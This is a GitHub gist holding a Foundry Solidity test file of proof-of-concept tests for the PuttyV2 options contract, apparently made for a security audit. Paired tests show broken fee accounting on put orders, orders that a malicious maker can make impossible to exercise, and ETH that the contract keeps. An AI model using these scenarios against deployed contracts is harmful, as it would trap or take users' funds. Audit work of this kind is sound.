-
-
Save zzzitron/9f83516255fa6153a4deb04f2163a0b3 to your computer and use it in GitHub Desktop.
forge test file of proof of concept. `forge test -m poc` will test all poc scenarios, and `forge test -m ref` will test all reference cases.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.13; | |
import "forge-std/Test.sol"; | |
import "forge-std/console.sol"; | |
import "openzeppelin/utils/cryptography/ECDSA.sol"; | |
import "src/PuttyV2.sol"; | |
import "../shared/Fixture.t.sol"; | |
contract TestPOC is Fixture { | |
event FilledOrder(bytes32 indexed orderHash, uint256[] floorAssetTokenIds, PuttyV2.Order order); | |
address[] internal whitelist; | |
address[] internal floorTokens; | |
PuttyV2.ERC20Asset[] internal erc20Assets; | |
PuttyV2.ERC721Asset[] internal erc721Assets; | |
uint256[] internal floorAssetTokenIds; | |
receive() external payable {} | |
function setUp() public { | |
deal(address(weth), address(this), 0xffffffff); | |
deal(address(weth), babe, 0xffffffff); | |
deal(address(weth), bob, 0xffffffff); | |
weth.approve(address(p), type(uint256).max); | |
vm.prank(babe); | |
weth.approve(address(p), type(uint256).max); | |
vm.prank(bob); | |
weth.approve(address(p), type(uint256).max); | |
} | |
function defaultShortPutOrder() internal view returns (PuttyV2.Order memory order) { | |
// maker is babe | |
order = defaultOrder(); | |
order.isCall = false; | |
} | |
function testItDoesPayFeeOnExercisedCall_ref() public { | |
// REFERENCE TEST for SHORT CALL | |
// This works as it should | |
// for an easy accounting | |
deal(address(weth), address(this), 0x0); | |
assertEq(weth.balanceOf(address(this)), 0); | |
// Scenairo: | |
// maker: babe | |
// taker: bob | |
// order: Short Put (the same happens for Long Put as well) | |
// set fee | |
uint256 fee = 10; | |
p.setFee(fee); | |
assertEq(p.fee(), fee); | |
// arrange | |
// fillOrder | |
PuttyV2.Order memory order = defaultShortPutOrder(); | |
order.isCall = true; | |
bytes memory signature = signOrder(babePrivateKey, order); | |
vm.prank(bob); | |
p.fillOrder(order, signature, floorAssetTokenIds); | |
// exercise | |
vm.prank(bob); | |
order.isLong = true; // make long order to exercise | |
p.exercise(order, floorAssetTokenIds); | |
// withdraw | |
skip(order.duration + 1); | |
order.isLong = false; // make short again to withdraw | |
vm.prank(babe); | |
p.withdraw(order); | |
assertEq(weth.balanceOf(address(this)), order.strike * fee / 1000); | |
assertGt(weth.balanceOf(address(this)), 0); | |
} | |
function testItDoesPayFeeOnNonExercisedPut_poc() public { | |
// for Put orders the fee does not work as intended | |
// for an easy accounting | |
deal(address(weth), address(this), 0x0); | |
assertEq(weth.balanceOf(address(this)), 0); | |
// Scenairo: | |
// maker: babe | |
// taker: bob | |
// order: Short Put (the same happens for Long Put as well) | |
// set fee | |
uint256 fee = 10; | |
p.setFee(fee); | |
assertEq(p.fee(), fee); | |
// arrange | |
// fillOrder | |
PuttyV2.Order memory order = defaultShortPutOrder(); | |
bytes memory signature = signOrder(babePrivateKey, order); | |
vm.prank(bob); | |
p.fillOrder(order, signature, floorAssetTokenIds); | |
// NOT exercise | |
// vm.prank(bob); | |
// order.isLong = true; // make long order to exercise | |
// p.exercise(order, floorAssetTokenIds); | |
// withdraw | |
skip(order.duration + 1); | |
order.isLong = false; // make short again to withdraw | |
vm.prank(babe); | |
p.withdraw(order); | |
assertEq(weth.balanceOf(address(this)), order.strike * fee / 1000); | |
assertGt(weth.balanceOf(address(this)), 0); | |
} | |
function testItDoesNotPayFeeOnExercisedPut_poc() public { | |
// for Put orders the fee does not work as intended | |
// for an easy accounting | |
deal(address(weth), address(this), 0x0); | |
assertEq(weth.balanceOf(address(this)), 0); | |
// Scenairo: | |
// maker: babe | |
// taker: bob | |
// order: Short Put (the same happens for Long Put as well) | |
// set fee | |
uint256 fee = 10; | |
p.setFee(fee); | |
assertEq(p.fee(), fee); | |
// arrange | |
// fillOrder | |
PuttyV2.Order memory order = defaultShortPutOrder(); | |
bytes memory signature = signOrder(babePrivateKey, order); | |
vm.prank(bob); | |
p.fillOrder(order, signature, floorAssetTokenIds); | |
// exercise | |
vm.prank(bob); | |
order.isLong = true; // make long order to exercise | |
p.exercise(order, floorAssetTokenIds); | |
// withdraw | |
skip(order.duration + 1); | |
order.isLong = false; // make short again to withdraw | |
vm.prank(babe); | |
p.withdraw(order); | |
assertEq(weth.balanceOf(address(this)), 0); | |
} | |
function testItCanFillOrderButCannotExerciseDueToFloor_poc() public { | |
// Scenario: | |
// maker: babe - short call | |
// taker: bob - long call | |
// babe makes short call order with non empty order.floorTokens | |
// bob fillOrder and gets long call NFT | |
// but cannot exercise | |
// babe also cannot withdraw | |
// create order | |
PuttyV2.Order memory order = defaultOrder(); | |
order.isLong = false; | |
// put non empty floorTokens | |
floorTokens = new address[](1); | |
floorTokens[0] = address(bayc); | |
order.floorTokens = floorTokens; | |
bytes memory signature = signOrder(babePrivateKey, order); | |
bytes32 orderHash = p.hashOrder(order); | |
vm.prank(bob); | |
uint256 positionId = p.fillOrder(order, signature, floorAssetTokenIds); | |
assertEq(p.ownerOf(uint256(orderHash)), order.maker); | |
assertEq(p.ownerOf(positionId), address(bob)); | |
// bob cannot exercise | |
order.isLong = true; | |
vm.startPrank(bob); | |
// // fail with empty floorAssetTokenIds | |
// // but foundry cannot catch it it seems like... | |
// vm.expectRevert(); | |
// p.exercise(order, floorAssetTokenIds); | |
// fail with matching floorAssetTokenIds | |
floorAssetTokenIds = new uint256[](1); | |
floorAssetTokenIds[0] = 1; | |
vm.expectRevert("Invalid floor tokenIds length"); | |
p.exercise(order, floorAssetTokenIds); | |
vm.stopPrank(); | |
// // Also babe cannot withdraw | |
skip(order.duration + 1); | |
order.isLong = false; | |
vm.startPrank(babe); | |
// // fail with Index out of bounds | |
// // but foundry cannot catch it either | |
// vm.expectRevert(); | |
// p.withdraw(order); | |
vm.stopPrank(); | |
} | |
function testItCanFillOrderAndExerciseWithoutFloor_ref() public { | |
// REFERENCE TEST for testItCanFillOrderButCannotExerciseDueToFloor | |
// This works as intended | |
// the same order as testItCanFillOrderButCannotExerciseDutToFloor | |
// but floorTokens is empty | |
// create order | |
PuttyV2.Order memory order = defaultOrder(); | |
order.isLong = false; | |
bytes memory signature = signOrder(babePrivateKey, order); | |
bytes32 orderHash = p.hashOrder(order); | |
vm.prank(bob); | |
uint256 positionId = p.fillOrder(order, signature, floorAssetTokenIds); | |
assertEq(p.ownerOf(uint256(orderHash)), order.maker); | |
assertEq(p.ownerOf(positionId), address(bob)); | |
// bob can exercise | |
order.isLong = true; | |
vm.prank(bob); | |
p.exercise(order, floorAssetTokenIds); | |
} | |
function testItCanFillOrderButCannotExercise_poc() public { | |
// Scenario: | |
// maker: babe (the evil) - short put | |
// taker: bob (the victim) - long put | |
// babe makes short put order | |
// the order has ERC20Assets and one of them has zero tokenAmount | |
// bob can fillOrder but cannot exercise | |
PuttyV2.Order memory order = defaultShortPutOrder(); | |
// add ERC20Asset with zero token amount | |
PuttyV2.ERC20Asset[] memory assets20 = new PuttyV2.ERC20Asset[](2); | |
assets20[0] = PuttyV2.ERC20Asset(address(weth), 100000); | |
assets20[1] = PuttyV2.ERC20Asset(address(weth), 0); | |
order.erc20Assets = assets20; | |
assertEq(order.erc20Assets.length, 2); | |
bytes memory signature = signOrder(babePrivateKey, order); | |
bytes32 orderHash = p.hashOrder(order); | |
vm.prank(bob); | |
uint256 positionId = p.fillOrder(order, signature, floorAssetTokenIds); | |
assertEq(p.ownerOf(uint256(orderHash)), order.maker); | |
assertEq(p.ownerOf(positionId), address(bob)); | |
// bob cannot exercise | |
order.isLong = true; | |
vm.startPrank(bob); | |
vm.expectRevert("ERC20: Amount too small"); | |
p.exercise(order, floorAssetTokenIds); | |
vm.stopPrank(); | |
} | |
function testItCanFillOrderAndExercise_ref() public { | |
// REFERENCE TEST for testItCanFillOrderButCannotExercise | |
// This works as intended | |
// the same scenario as testItCanFillOrderButCannotExercise | |
// but without zero token amount | |
PuttyV2.Order memory order = defaultShortPutOrder(); | |
// add normal ERC20 Asset | |
PuttyV2.ERC20Asset[] memory assets20 = new PuttyV2.ERC20Asset[](2); | |
assets20[0] = PuttyV2.ERC20Asset(address(weth), 100000); | |
assets20[1] = PuttyV2.ERC20Asset(address(weth), 1); | |
order.erc20Assets = assets20; | |
assertEq(order.erc20Assets.length, 2); | |
bytes memory signature = signOrder(babePrivateKey, order); | |
bytes32 orderHash = p.hashOrder(order); | |
vm.prank(bob); | |
uint256 positionId = p.fillOrder(order, signature, floorAssetTokenIds); | |
assertEq(p.ownerOf(uint256(orderHash)), order.maker); | |
assertEq(p.ownerOf(positionId), address(bob)); | |
// bob can exercise | |
order.isLong = true; | |
vm.prank(bob); | |
p.exercise(order, floorAssetTokenIds); | |
} | |
function testItKeepsEth_poc() public { | |
// Scenario: | |
// maker: babe | |
// taker: bob | |
// use some erc20 other than weth | |
// maker makes short put order | |
// taker fills order and sends some eth as mistake | |
// the eth is lost | |
// additional setup for poc | |
// Make a new weth (it can be whatever ERC20 like Dai) | |
MockWeth someERC20 = new MockWeth(); | |
deal(address(someERC20), babe, 0xffffffff); | |
deal(address(someERC20), bob, 0xffffffff); | |
vm.prank(babe); | |
someERC20.approve(address(p), type(uint256).max); | |
vm.prank(bob); | |
someERC20.approve(address(p), type(uint256).max); | |
// arrange | |
PuttyV2.Order memory order = defaultShortPutOrder(); | |
// baseAsset is NOT weth but some other ERC20 token | |
order.baseAsset = address(someERC20); | |
bytes memory signature = signOrder(babePrivateKey, order); | |
bytes32 orderHash = p.hashOrder(order); | |
// before check the eth balance of putty | |
assertEq(address(p).balance, 0); | |
// act | |
// maker is babe and taker is bob | |
uint256 sendEth = 0x2000; // random amount | |
deal(address(bob), 0x2000); | |
vm.prank(bob); | |
uint256 positionId = p.fillOrder{value: sendEth}(order, signature, floorAssetTokenIds); | |
// assert | |
assertEq(someERC20.balanceOf(address(p)), order.strike); | |
assertEq(p.ownerOf(uint256(orderHash)), order.maker); | |
assertEq(p.ownerOf(positionId), address(bob)); | |
// the ETH balance | |
assertEq(address(p).balance, sendEth); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment